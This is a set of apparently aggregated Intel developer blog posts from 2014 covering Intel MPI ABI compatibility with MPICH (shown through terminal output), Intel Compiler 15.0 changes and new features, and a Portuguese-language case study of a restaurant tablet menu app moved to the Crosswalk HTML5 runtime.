$ mpiexec -n 2 ./version_info
Hello world: MPI implementation:
 MPICH Version: 3.1.2
MPICH Release date: Mon Jul 21 16:00:21 CDT 2014
MPICH Device: ch3:nemesis
MPICH configure: --prefix=/home/user/mpich/3.1.2/
MPICH CC: gcc    -O2
MPICH CXX: g++   -O2
MPICH F77: gfortran   -O2
MPICH FC: gfortran   -O2

Make Intel(R) MPI Library loaded

$ export LD_LIBRARY_PATH=/opt/intel/impi/5.0.1.035/intel64/lib/:$LD_LIBRARY_PATH
$ mpiexec -n 2 ./version_info
Hello world: MPI implementation:
 Intel(R) MPI Library 5.0 Update 1 for Linux* OS

On step 4. only the library was changed, the rest of MPI implementation was MPICH. It is simple to change it also

$ source /opt/intel/impi/5.0.1.035/intel64/bin/mpivars.sh
$ mpiexec.hydra -V
Intel(R) MPI Library for Linux* OS, Version 5.0 Update 1 Build 20140709
Copyright (C) 2003-2014, Intel Corporation. All rights reserved.
$ mpiexec.hydra -n 2 ./version_info
Hello world: MPI implementation:
 Intel(R) MPI Library 5.0 Update 1 for Linux* OS

Conclusion

For evaluation of this ABI compatibility feature of Intel MPI Library one can download the Free 30-Day Evaluation Version or use Intel MPI Library Runtime Environment free of charge (with limited support options). For more details please refer to the Intel MPI Library Licensing FAQ.

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Intel® C++ Compiler 15.0 for Linux Sets “-ansi-alias” by Default, Noncompliant Code May Fail

August 25, 2014, 2:44 pm

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Beginning with version 15.0, the Intel® C++ Compiler for Linux enables -ansi-alias by default at optimization level 2 (-O2). The -ansi-alias option indicates that the code complies with ANSI aliasing rules.

If the application code adheres to ANSI aliasing rules, this change allows the compiler to make aggressive optimizations. The effect of this change on runtime performance depends on the application, the optimization methods supported by the compiler, and the compiler switches used.

If the application code does not follow ANSI aliasing rules, then this option may cause compile time or runtime failures.

Use the –fno-ansi-alias option to disable this behavior. Note that -fstrict-aliasing has the same behavior as -ansi-alias, and -fno-strict-aliasing will negate both options as well. For more information, please refer to the User and Reference Guide for the Intel® C++ Compiler 15.0.

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What’s New in the Intel Compiler

August 25, 2014, 4:40 pm

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The list below summarizes new features in the Intel® C++ Compiler 15.0 and the Intel® Fortran Compiler 15.0. For more details about changes in the Intel compilers since the previous release, including a list of new options, please refer to the ‘What’s New’ section in the release notes (C++, Fortran).

Feature Highlights
•   Redesign of the optimization reports (including vec-report, loop optimizations, and inlining reports)
•   OpenMP 4.0 support in Intel Compiler 15.0
•   New features targeting Intel® Xeon Phi™ coprocessors
•   Microsoft vectorcall calling convention supported

Intel® C++ Compiler 15.0
•   Intel® C++ Compiler 15.0 for Linux Sets “-ansi-alias” by Default
•   Full C++11 Support (Prerequisite: Dependent headers and libraries also require full language support.)
• Aligned “new” support via a new header file “aligned_new” on Linux* and Windows*
•   What’s new in the Intel C++ Compiler integration with Microsoft* Visual Studio*

Intel® Fortran Compiler 15.0
•   Full language Fortran 2003 support
•   BLOCK from Fortran 2008
•   OpenMP* 4.0 WORKSHARE

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New Features for Intel® MIC Architecture in the Intel Compiler

August 25, 2014, 5:49 pm

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≪ Previous: What’s New in the Intel Compiler

The list below summarizes new features and changes specific to programming for Intel® MIC Architecture with Intel Compiler 15.0:

OpenMP 4.0 combined offload constructs
Redesign of compiler optimization reports
Offload support for transferring arrays of pointers
Offload support for non-contiguous array slices
ELF executable binary file created for the Intel® Xeon Phi™ coprocessor offload image
FAT binary created for Windows* Static (.lib) and Dynamic-Link (.dll) library containing Intel® Xeon Phi™ coprocessor offload code
Streaming Stores as a Prefetch for Unaligned Stores
Using the Fortran 2008 BLOCK construct with the Intel® Xeon Phi™ coprocessor
Neighboring Gather Optimization

Additional Resources

What’s new in the Intel Compiler 15.0

Compilatore Fortran Intel®

OpenMP*

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MVarandas Soluções em Tecnologia escolhe Crosswalk como fundação de seus aplicativos HTML5 para Android

August 26, 2014, 12:44 pm

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Usado em vários restaurantes como única forma de fazer um pedido, o "Menew Cardápio Digital", software desenvolvido por MVarandas Soluções em Tecnologia, está recebendo várias melhorias graças ao Crosswalk, HTML5 runtime para Android desenvolvido pela Intel. O bom resultado também é fruto da colaboração entre as equipes de desenvolvimento de ambas as empresas.

"Menew Cardápio Digital" é um cardápio digital disponível aos clientes em suas mesas, oferecendo uma experiência imersiva e substituindo o antigo cardápio de papel. Rodando em um tablet Android convencional, o aplicativo permite fácil navegação entre as opções do menu, informações detalhadas sobre os pratos oferecidos, com destaque para as deliciosas fotos dos pratos em alta resolução. E mais, você ainda pode fazer seu pedido usando o tablet!

O aplicativo foi desenvolvido usando HTML5 dentre outras tecnologias web modernas e é suportado em tablets de baixo custo.

Intel entrou em contato com MVarandas depois que um de seus desenvolvedores se interessou pelo aplicativo e todo seu potencial enquanto fazia uma refeição em um restaurante: "- O aplicativo usa a tecnologia HTML5, encaixa-se perfeitamente com a proposta do projeto de software livre Crosswalk.”

Estava claro após o primeiro contato com a MVarandas, que um dos principais desafios era performance. O aplicativo era geralmente implantado em tablets antigos ou de baixo custo, com menor poder de processamento e com versões antigas do Android WebView, resultando em um desempenho inadequado em vários casos.

Crosswalk caiu como uma luva: o fato de Crosswalk ser baseado na última versão do Chromium e atualizado a cada 6 semanas, gerou ganhos em performance e abriu a opção de se usar o que há de mais moderno em tecnologias web. Adicionalmente, MVarandas também pode desfrutar features exclusivas como: screen orientation lock (travar orientação da tela), manifest, JavaScript Single Instruction Multiple Data (SIMD) e muito mais.

Adicionalmente, MVarandas agora está em total controle do seu ciclo de desenvolvimento, já que cabe a eles definir quando atualizar a versão do Crosswalk usada em seus aplicativos.

Equipes da Intel e MVarandas uniram forças e reempacotaram o "Menew Cardápio Digital" usando Crosswalk. A performance melhorou quase sem esforço algum e Crosswalk também abriu um leque de opções para MVarandas usar o que há de mais moderno em HTML5, o que não poderia ser feito antes com Android WebView.

Em pouco tempo, MVarandas já estava confiante em atualizar a versão em produção do aplicativo usando Crosswalk. Até então, um restaurante já migrou completamente para a versão do "Menew Cardápio Digital" baseada no Crosswalk e mais estão à caminho, já que os testes de campo estão se mostrando positivos. Tão positivos que MVarandas está usando Crosswalk também em outros produtos.

Marcus Varandas Filho (MVarandas Soluções em Tecnologia, Gerente) :
"Não conhecíamos o Crosswalk e quando fomos apresentado ao projeto ficamos realmente empolgados. Revelou ser a solução de muitos problemas de performance em nosso projeto de "Menew Cardápio Digital" para tablets. A parceria com a Intel, através de varias reuniões e de grande aprendizado, hoje dá frutos além das nossas expectativas. A ferramenta abriu grandes possibilidades e já temos planos para utilizar os recursos do Crosswalk em vários outros projetos.”

Isaac Marinho (MVarandas Soluções em Tecnologia, Software Engineer) :
"Meu primeiro contato com o Crosswalk foi instigante e desafiador. Instigante porque me pareceu uma solução para problemas de performance, que enfrentamos ao distribuir nossa aplicação "Menew Cardápio Digital” para dispositivos menos robustos, e desafiador porque até então eu não havia ouvido nada sobre tal projeto. Ao conhecer melhor o projeto e ter a oportunidade de lidar com ele, na solução de uma situação-problema, pude constatar que por sua simplicidade (algumas linhas de comando e seu APK está pronto para distribuir) e sua eficiência, ele não só foi uma solução para problemas pontuais como também ajudou a otimizar o desempenho de nossa aplicação de um modo geral. Estou ansioso para disseminar o conhecimento a respeito do Crosswalk com a nossa equipe de desenvolvimento e poder utilizá-lo nas demais aplicações que temos desenvolvido para dispositivos móveis.”

Alexis Menard (Intel, Software Engineer) :
"Quando apresentei o Crosswalk, eu imediatamente percebi que era exatamente o que MVarandas estava procurando. Então nos encontramos várias vezes para adaptar o "Menew Cardápio Digital” ao Crosswalk e até descobrimos oportunidades de melhorias, algo que não seria possível com o Android WebView de 2011. Tem sido ótimo trabalhar com eles e a colaboração foi até além do planejado.”

Marinaldo Barreto (Restaurante Forno de Pizza - Campina Grande) :
"O "Menew Cardápio Digital" deu uma nova dinâmica à casa. Em relação ao novo aplicativo baseado no Crosswalk, foi visível a mudança: recebemos elogios dos consumidores a respeito da agilidade do novo aplicativos rodando nos tablets. A equipe de garçons também observou que a mudança foi positiva, pois facilitou e agilizou o trabalho dos mesmos, diminuindo o tempo de serviço e consequentemente, o tempo de espera até o produto chegar à mesa do cliente. Indico o serviço a todos, vem sendo definitivamente uma boa experiência.”

Sobre MVarandas Soluções em Tecnologia :
Com mais de 5.000 usuários instalados no Brasil e referência no mercado desde 1984, a MVarandasé uma empresa fornecedora de Tecnologia da Informação especializada no desenvolvimento de sistemas informatizados de gestão e controle de empresas.
Perfeitamente integrados ao negócio de cada cliente, esses sistemas tem seu desenvolvimento voltado essencialmente aos setores de restaurantes, bares, night clubs, pizzarias, hotéis, motéis, pousadas e afins.

Da esquerda para a direita : Marinaldo Barreto, Marcus Varandas Filho and Alexis Menard